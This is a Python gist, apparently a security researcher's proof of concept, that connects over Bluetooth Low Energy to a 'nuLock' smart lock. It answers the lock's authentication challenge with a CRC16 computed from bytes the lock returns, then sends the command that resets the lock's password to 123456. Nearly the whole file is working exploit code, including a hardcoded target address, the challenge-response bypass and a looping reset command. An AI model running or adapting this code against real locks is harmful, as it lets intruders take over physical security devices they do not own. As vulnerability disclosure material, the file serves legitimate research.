gistfile1.txt

#!/usr/bin/env python

# Copyright 2016 Mike Ryan
# Copyright 2016 Matthew Garrett
#
# This code will connect to a Bluetooth nuLock and reset the password to 123456
#
# This file is part of PyBT and is available under the MIT license. Refer to
# LICENSE for details.

import BDAddr
from BluetoothSocket import BluetoothSocket, hci_devba
import socket
import sys

table = (
            0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241,
            0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440,
            0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40,
            0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 0x09C0, 0x0880, 0xC841,
            0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40,
            0x1E00, 0xDEC1, 0xDF81, 0x1F40, 0xDD01, 0x1DC0, 0x1C80, 0xDC41,
            0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641,
            0xD201, 0x12C0, 0x1380, 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040,
            0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240,
            0x3600, 0xF6C1, 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441,
            0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41,
            0xFA01, 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840,
            0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41,
            0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40,
            0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 0x2640,
            0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041,
            0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 0xA281, 0x6240,
            0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441,
            0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 0x6FC0, 0x6E80, 0xAE41,
            0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840,
            0x7800, 0xB8C1, 0xB981, 0x7940, 0xBB01, 0x7BC0, 0x7A80, 0xBA41,
            0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40,
            0xB401, 0x74C0, 0x7580, 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640,
            0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041,
            0x5000, 0x90C1, 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241,
            0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440,
            0x9C01, 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40,
            0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841,
            0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40,
            0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 0x8C41,
            0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641,
            0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 0x8081, 0x4040,
        )

def crc16( string ):
      crc = 0
      for byte in string:
            crc = (crc >> 8) ^ table[(crc ^ byte) & 0xff];
      print hex(crc)
      return crc

my_addr = hci_devba(0) # get from HCI0
dest = BDAddr.BDAddr("F0:C7:7F:17:25:99")
addr_type = BDAddr.TYPE_LE_PUBLIC

def read_handle(handle):
      request = bytearray([0x0a, handle, 0x00])
      sock.send(request)
      return sock.recv(20)

def send_req(data):
      prolog = bytearray([0x12, 0x25, 0x00])
      request = prolog + data
      sock.send(request)
      return sock.recv(20)

# open L2CAP socket, then bind and connect on CID 4, GATT
sock = BluetoothSocket(socket.AF_BLUETOOTH, socket.SOCK_SEQPACKET, socket.BTPROTO_L2CAP)
sock.bind_l2(0, my_addr, cid=4, addr_type=BDAddr.TYPE_LE_RANDOM)
sock.connect_l2(0, dest, cid=4, addr_type=addr_type)

verify = bytearray([0xa1, 0x37, 0x34, 0x31, 0x36, 0x38, 0x39, 0x05, 0x78, 0x9a, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09])
r = send_req(verify)
data = read_handle(0x25)
mac = data[4:10]
payload = data[10:20]
response = bytearray()
for i in range(6):
      crc = crc16(bytearray([mac[i], payload[1], payload[3], payload[5], payload[7], payload[9]]))
      low = crc & 0xff
      high = crc >> 8
      response.append(high)
      response.append(low)

verify2 = bytearray([0xa1, 0x37, 0x34, 0x31, 0x36, 0x38, 0x39, 0x09])

r = send_req(verify2 + response)
state = read_handle(0x25)
reset = bytearray([0xa1, 0x37, 0x34, 0x31, 0x36, 0x38, 0x39, 0x08])
while True:
      r = send_req(reset)
      response = read_handle(0x25)
      print repr(response)